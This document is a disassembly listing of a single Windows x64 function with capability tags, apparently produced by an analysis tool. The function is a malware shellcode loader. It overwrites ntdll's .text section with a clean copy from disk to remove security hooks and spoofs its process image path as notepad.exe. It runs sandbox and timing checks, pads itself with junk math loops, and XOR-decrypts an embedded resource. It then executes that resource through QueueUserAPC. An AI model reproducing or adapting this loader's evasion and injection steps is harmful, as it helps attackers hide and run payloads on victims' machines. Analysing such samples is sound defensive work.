Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x340], ecx
mov qword [rbp + 0x348], rdx
call fcn.1400028b0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2b0], rax
mov ecx, 0x19a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x31c], 0
jmp 0x140001512
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x31c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
movsd xmm1, qword [0x140006158]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x333
jle 0x1400014c4
mov dword [rbp + 0x31c], 0
jmp 0x140001579
mov eax, dword [rbp + 0x31c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x31c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a8]
add rax, rdx
movq xmm1, qword [0x140006160]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x333
jle 0x14000152a
mov dword [rbp + 0x318], 0xffffffff
mov ecx, 0x1218
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a0], rax
add dword [rbp + 0x318], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x318]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
movsd xmm1, qword [0x140006158]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x318]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x318]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2a0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x318], 0x241
jle 0x1400015a0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x298], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x310], rax
cmp qword [rbp + 0x310], 0
jne 0x1400016cd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x310], rax
cmp qword [rbp + 0x310], 0
je 0x140001b4d
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x298]
mov r10, qword [rbp + 0x310]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x290], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x288], rax
movsd xmm0, qword [0x140006170]
movsd qword [rbp + 0x308], xmm0
movsd xmm0, qword [0x140006178]
movsd qword [rbp + 0x280], xmm0
jmp 0x1400017a8
movsd xmm0, qword [rbp + 0x280]
mov rax, qword [rbp + 0x308]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003960
movq rax, xmm0
mov qword [rbp + 0x308], rax
movsd xmm0, qword [0x140006180]
comisd xmm0, xmmword [rbp + 0x308]
ja 0x14000177f
mov rax, qword [rbp + 0x288]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x278], rax
mov ecx, 0xc18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov dword [rbp + 0x304], 0
jmp 0x140001851
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x270]
add rax, rdx
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x182
jle 0x140001813
mov dword [rbp + 0x304], 0
jmp 0x1400018bb
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x270]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x304]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x270]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x182
jle 0x140001869
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x290]
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x290]
add rax, rdx
mov qword [rbp + 0x258], rax
mov word [rbp + 0x302], 0
jmp 0x140001b35
mov rax, qword [rbp + 0x258]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x258]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x302]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x250], rax
mov dword [rbp + 0x2fc], 0xffffffff
mov ecx, 0x1608
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x248], rax
add dword [rbp + 0x2fc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006150]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
movsd xmm1, qword [0x140006158]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x248]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2fc], 0x2bf
jle 0x14000198c
mov rax, qword [rbp + 0x250]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b24
mov dword [rbp + 0xb8], 0
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x290]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xb8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x268]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x290]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0xb8]
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x250]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x290]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xb8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x302]
add eax, 1
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x258]
movzx eax, word [rax + 6]
cmp word [rbp + 0x302], ax
jb 0x140001935
mov dword [rbp + 0xbc], 0
mov rax, qword [rbp + 0x2b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x240], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0xbc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x240]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x2f8], 0x35c
mov dword [rbp + 0x2f4], 0x2e4
jmp 0x140001be2
mov eax, dword [rbp + 0x2f8]
cmp eax, dword [rbp + 0x2f4]
jle 0x140001bdb
sub dword [rbp + 0x2f8], 1
jmp 0x140001be2
sub dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f8], 0
jg 0x140001bc4
mov rax, qword [rbp + 0xc8]
add rax, 0x3c
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x238]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x471
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x471
jne 0x1400027e3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
call rax
mov dword [rbp + 0x22c], eax
mov ecx, 0x3ab
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x230]
call rax
mov dword [rbp + 0x228], eax
mov eax, dword [rbp + 0x228]
sub eax, dword [rbp + 0x22c]
cmp eax, 0x379
jbe 0x1400027e3
mov qword [rbp + 0x220], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x437ae80
mov ecx, 0
call rax
mov qword [rbp + 0x220], rax
cmp qword [rbp + 0x220], 0
je 0x1400027e3
mov rax, qword [rbp + 0x220]
mov edx, 0x437ae80
mov rcx, rax
call fcn.1400045d0
mov rax, qword [rbp + 0x220]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0
je 0x1400027e3
mov rax, qword [rbp + 0x210]
mov edx, 0x510
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x20c], eax
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
jne 0x1400027e3
mov dword [rbp + 0x1fc], 0x2a1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
call rax
mov dword [rbp + 0x1e4], eax
mov eax, dword [rbp + 0x1fc]
mov r8, qword [rbp + 0x1f0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1e8]
call rax
mov dword [rbp + 0x1e0], eax
mov eax, dword [rbp + 0x1e0]
sub eax, dword [rbp + 0x1e4]
cmp eax, 0x26f
jbe 0x1400027e3
mov dword [rbp + 0x1dc], 0x33b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
call rax
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x1dc]
mov r8, qword [rbp + 0x1d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1c8]
call rax
mov dword [rbp + 0x1c0], eax
mov eax, dword [rbp + 0x1c0]
sub eax, dword [rbp + 0x1c4]
cmp eax, 0x309
jbe 0x1400027e3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
call rax
mov dword [rbp + 0x1b4], eax
mov ecx, 0x230
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1b8]
call rax
mov dword [rbp + 0x1b0], eax
mov eax, dword [rbp + 0x1b0]
sub eax, dword [rbp + 0x1b4]
cmp eax, 0x1fe
jbe 0x1400027e3
mov qword [rbp + 0x2e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
je 0x140002056
mov rax, qword [rbp + 0x1a8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1a0]
mov r9d, 0x3000
mov r8d, 0x3e6
mov edx, 0
call rax
mov qword [rbp + 0x2e8], rax
cmp qword [rbp + 0x2e8], 0
je 0x1400027e3
mov dword [rbp + 0x19c], 0x3c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
call rax
mov dword [rbp + 0x184], eax
mov eax, dword [rbp + 0x19c]
mov r8, qword [rbp + 0x190]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x188]
call rax
mov dword [rbp + 0x180], eax
mov eax, dword [rbp + 0x180]
sub eax, dword [rbp + 0x184]
cmp eax, 0x396
jbe 0x1400027e3
mov rax, qword [rbp + 0x2b0]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
lea rax, str.TNEJI
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x178]
lea r8, str.TNEJI
mov ecx, 0
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov ecx, 0x1a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x160], rax
mov ecx, 0x1a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x2e0], 0x69
mov dword [rbp + 0x2e4], 0
jmp 0x14000224d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x160]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x160]
add rax, rdx
mov edx, dword [rbp + 0x2e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x158]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2e0], 1
add dword [rbp + 0x2e4], 1
cmp dword [rbp + 0x2e4], 0x69
jle 0x1400021c0
mov rax, qword [rbp + 0x160]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x158]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x170]
mov r8, qword [rbp + 0x168]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x170]
mov r8, qword [rbp + 0x148]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x140]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x170]
mov r8, qword [rbp + 0x148]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x130]
mov r9, qword [rbp + 0x138]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x128], rax
mov dword [rbp + 0x2dc], 0x29e
jmp 0x140002384
sub dword [rbp + 0x2dc], 1
cmp dword [rbp + 0x2dc], 0
jg 0x14000237d
mov rax, qword [rbp + 0x2b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x170]
mov r8, qword [rbp + 0x148]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x150]
mov rax, qword [rbp + 0x128]
mov r9, qword [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2d8], 0
pxor xmm0, xmm0
movss dword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2d4], 0
jmp 0x140002483
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2d4]
movsd xmm0, qword [0x140006158]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006188]
movd xmm0, eax
call fcn.1400038a0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x2d4]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006158]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x2d0]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x2d0], xmm0
add dword [rbp + 0x2d4], 1
cmp dword [rbp + 0x2d4], 0x330
jle 0x14000240a
movss xmm1, dword [rbp + 0x2d0]
movss xmm0, dword [0x14000618c]
mulss xmm0, xmm1
movss dword [rbp + 0x2d0], xmm0
mov dword [rbp + 0x2cc], 0
mov dword [rbp + 0x2c8], 0
movabs rax, 0x8fac08c8ec393cbd
movabs rdx, 0xd9648acea67d4b34
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xa8d44a759827b1b7
movabs rdx, 0x779902da851e71bf
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x95ff22a4410aaf47
movabs rdx, 0xbbde09ee17b201b1
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x2e030195a8706c8d
movabs rdx, 0xb67962d617510f7
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xf6d1ef69c0bbb376
movabs rdx, 0x5d01b22633394b
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x3644e4807ff91fd9
movabs rdx, 0xcfd8db5731f31e14
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x93653a5369e6e8af
movabs rdx, 0x97e1aebe2eaf9cea
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x46fce9ceb7281438
movabs rdx, 0x41489689526d9af8
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xa790494a1ad54db7
movabs rdx, 0x7a62b9384c522b02
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x7134c75823fe7a
mov qword [rbp - 1], rax
jmp 0x140002654
cmp dword [rbp + 0x2cc], 0x45
jne 0x14000261e
mov eax, dword [rbp + 0x2d8]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x2cc]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2d8]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x2cc], 0
jmp 0x14000264d
mov eax, dword [rbp + 0x2d8]
cdqe
movzx edx, byte [rbp + rax + 0x60]
mov eax, dword [rbp + 0x2cc]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2d8]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x2cc], 1
add dword [rbp + 0x2d8], 1
mov eax, dword [rbp + 0x2d8]
cmp eax, 0x4e
jbe 0x1400025e1
mov dword [rbp + 0x2d8], 0
jmp 0x14000270d
cmp dword [rbp + 0x2c8], 0x4e
jne 0x1400026c1
mov eax, dword [rbp + 0x2d8]
movsxd rdx, eax
mov rax, qword [rbp + 0x128]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c8]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x2d8]
movsxd rdx, eax
mov rax, qword [rbp + 0x128]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x2c8], 0
jmp 0x140002706
mov eax, dword [rbp + 0x2d8]
movsxd rdx, eax
mov rax, qword [rbp + 0x128]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2c8]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x2d8]
movsxd rdx, eax
mov rax, qword [rbp + 0x128]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x2c8], 1
add dword [rbp + 0x2d8], 1
cmp dword [rbp + 0x2d8], 0x3c8
jle 0x14000266e
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x2c4], 0x154
mov dword [rbp + 0x2c0], 0xe6
jmp 0x14000275f
mov eax, dword [rbp + 0x2c4]
cmp eax, dword [rbp + 0x2c0]
jle 0x140002758
sub dword [rbp + 0x2c4], 1
jmp 0x14000275f
sub dword [rbp + 0x2c0], 1
cmp dword [rbp + 0x2c4], 0
jg 0x140002741
mov rax, qword [rbp + 0x2b0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x2b0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x118]
mov r9, qword [rbp + 0x110]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x108]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x3a8
pop rbx
pop rbp
ret